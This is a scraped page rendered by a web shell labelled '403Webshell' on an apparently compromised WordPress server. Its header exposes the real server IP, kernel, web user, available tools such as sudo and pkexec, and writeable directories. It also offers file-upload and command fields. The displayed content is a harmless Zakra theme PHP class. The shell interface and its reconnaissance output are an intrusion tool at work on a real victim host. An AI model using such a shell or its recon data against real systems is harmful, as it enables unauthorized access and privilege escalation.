403Webshell
Server IP : 158.247.231.215  /  Your IP : 216.73.216.159
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux CTMS 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /mnt/blockstorage/ctms/wp-content/themes/zakra/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mnt/blockstorage/ctms/wp-content/themes/zakra/inc/class-zakra-walker-page.php
<?php
/**
* Zakra_Walker_Page class.
*
* @package Zakra
*/

// Exit if accessed directly.
defined( 'ABSPATH' ) || exit();

if ( ! class_exists( 'Zakra_Walker_Page' ) ) {

	/**
	* Class Zakra_Walker_Page.
	*/
	class Zakra_Walker_Page extends Walker_Page {
		/**
		 * {@inheritDoc}
		 *
		 * @param string $output Used to append additional content (passed by reference).
		 * @param int    $depth  Optional. Depth of page. Used for padding. Default 0.
		 * @param array  $args   Optional. Arguments for outputting the next level.
		 *                       Default empty array.
		 */
		public function start_lvl( &$output, $depth = 0, $args = array() ) {

			if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
				$t = "\t";
				$n = "\n";
			} else {
				$t = '';
				$n = '';
			}
			$indent  = str_repeat( $t, $depth );
			$output .= "$n$indent<ul class='sub-menu'>$n";
		}

		/**
		* {@inheritDoc}
		*/
		public function start_el( &$output, $page, $depth = 0, $args = array(), $current_page = 0 ) {

			$indent    = str_repeat( "\t", $depth );
			$css_class = '';

			if ( ! empty( $args['current_class'] ) && $page->ID === $current_page ) {
				$css_class .= ' ' . $args['current_class'];
			}

			if ( ! empty( $args['has_children_class'] ) && $this->has_children ) {
				$css_class .= ' ' . $args['has_children_class'];
			}

			$output .= $indent . '<li class="' . $css_class . '">';
			$output .= '<a href="' . get_permalink( $page->ID ) . '">' . $page->post_title . '</a>';

			if ( $args['has_children_class'] && $this->has_children ) {
				$output .= '<span role="button" tabindex="0" class="zak-submenu-toggle" onkeypress="">' .
							'<svg class="zak-icon" xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 24 24"><path d="M12 17.5c-.3 0-.5-.1-.7-.3l-9-9c-.4-.4-.4-1 0-1.4s1-.4 1.4 0l8.3 8.3 8.3-8.3c.4-.4 1-.4 1.4 0s.4 1 0 1.4l-9 9c-.2.2-.4.3-.7.3z"/></svg>' .
							'</span>';
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit